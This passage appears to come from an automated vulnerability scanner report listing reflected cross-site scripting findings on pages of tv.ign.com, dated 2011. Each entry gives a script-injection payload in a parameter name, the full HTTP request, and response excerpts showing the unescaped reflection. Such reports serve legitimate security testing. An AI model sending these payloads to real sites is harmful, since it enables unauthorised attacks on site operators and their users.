The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9498e"><script>alert(1)</script>a110bd155fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148084p1.html?9498e"><script>alert(1)</script>a110bd155fb=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:53 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-778752884-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043933075v-1n-12mc+1297043933075mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111933

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/articles/114/1148084p1.html?9498e"><script>alert(1)</script>a110bd155fb=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.467. http://tv.ign.com/articles/114/1148084p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148084p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 65d80"-alert(1)-"e176619b306 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148084p1.html?65d80"-alert(1)-"e176619b306=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:55 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1913944204-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043935933v-1n-12mc+1297043935933mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 112480

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/articles/114/1148084p1.html?65d80"-alert(1)-"e176619b306=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.468. http://tv.ign.com/articles/114/1148116c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148116c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5947c"><script>alert(1)</script>185da568eaa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148116c.html?5947c"><script>alert(1)</script>185da568eaa=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-514673632-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043929887v-1n-12mc+1297043929887mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 85935

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/articles/114/1148116c.html?5947c"><script>alert(1)</script>185da568eaa=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.469. http://tv.ign.com/articles/114/1148116c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148116c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b94e"-alert(1)-"a885bc82df9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148116c.html?9b94e"-alert(1)-"a885bc82df9=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:52 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-624419146-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043932508v-1n-12mc+1297043932508mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 85429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/articles/114/1148116c.html?9b94e"-alert(1)-"a885bc82df9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.470. http://tv.ign.com/articles/114/1148116p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148116p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ae5c"><script>alert(1)</script>63c60beb92f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148116p1.html?9ae5c"><script>alert(1)</script>63c60beb92f=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-996301323-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043929902v-1n-12mc+1297043929902mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 105662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/articles/114/1148116p1.html?9ae5c"><script>alert(1)</script>63c60beb92f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.471. http://tv.ign.com/articles/114/1148116p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/articles/114/1148116p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44c01"-alert(1)-"869d99ea97c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148116p1.html?44c01"-alert(1)-"869d99ea97c=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:52 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-570466262-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043933005v-1n-12mc+1297043933005mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 105583

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/articles/114/1148116p1.html?44c01"-alert(1)-"869d99ea97c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.472. http://tv.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 68241"-alert(1)-"8ab994467e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?68241"-alert(1)-"8ab994467e8=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:34 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-921296344-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043974446v-1n-12mc+1297043974446mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 275098

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/latest-updates.html?68241"-alert(1)-"8ab994467e8=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.473. http://tv.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c718"><script>alert(1)</script>2206d601234 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?6c718"><script>alert(1)</script>2206d601234=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:30 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-968466201-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043970455v-1n-12mc+1297043970455mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 275320

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/latest-updates.html?6c718"><script>alert(1)</script>2206d601234=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.474. http://tv.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e17b"-alert(1)-"5b0c526ea4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?8e17b"-alert(1)-"5b0c526ea4=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:01 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-261100196-11;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043941992v-1n-12mc+1297043941992mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120474

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/news.html?8e17b"-alert(1)-"5b0c526ea4=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.475. http://tv.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7df41"><script>alert(1)</script>caf99ff83c0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?7df41"><script>alert(1)</script>caf99ff83c0=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:59 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1693659712-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043939381v-1n-12mc+1297043939381mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 119315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/news.html?7df41"><script>alert(1)</script>caf99ff83c0=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.476. http://tv.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11835"><script>alert(1)</script>2d851dd1bd2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/podcasts.html?11835"><script>alert(1)</script>2d851dd1bd2=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:29 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1844066611-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043969072v-1n-12mc+1297043969072mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 102551

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/podcasts.html?11835"><script>alert(1)</script>2d851dd1bd2=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.477. http://tv.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a60bc"-alert(1)-"8d31200d61f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/podcasts.html?a60bc"-alert(1)-"8d31200d61f=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:31 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-2055080285-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043971342v-1n-12mc+1297043971342mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 102823

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/podcasts.html?a60bc"-alert(1)-"8d31200d61f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.478. http://tv.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5659f"-alert(1)-"aa8793cab95 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?5659f"-alert(1)-"aa8793cab95=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:55 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-883059858-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043935805v-1n-12mc+1297043935805mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116768

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN TV: Episode Gu
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://tv.ign.com/index/previews.html?5659f"-alert(1)-"aa8793cab95=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.479. http://tv.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6da2a"><script>alert(1)</script>c02b8232874 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?6da2a"><script>alert(1)</script>c02b8232874=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:52 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-1515116594-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:58:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043932488v-1n-12mc+1297043932488mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN TV: Episode Gu
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://tv.ign.com/index/previews.html?6da2a"><script>alert(1)</script>c02b8232874=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.480. http://tv.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tv.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c60f6"-alert(1)-"65fba5d1c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?c60f6"-alert(1)-"65fba5d1c=1 HTTP/1.1
Host: tv.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:58:55 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
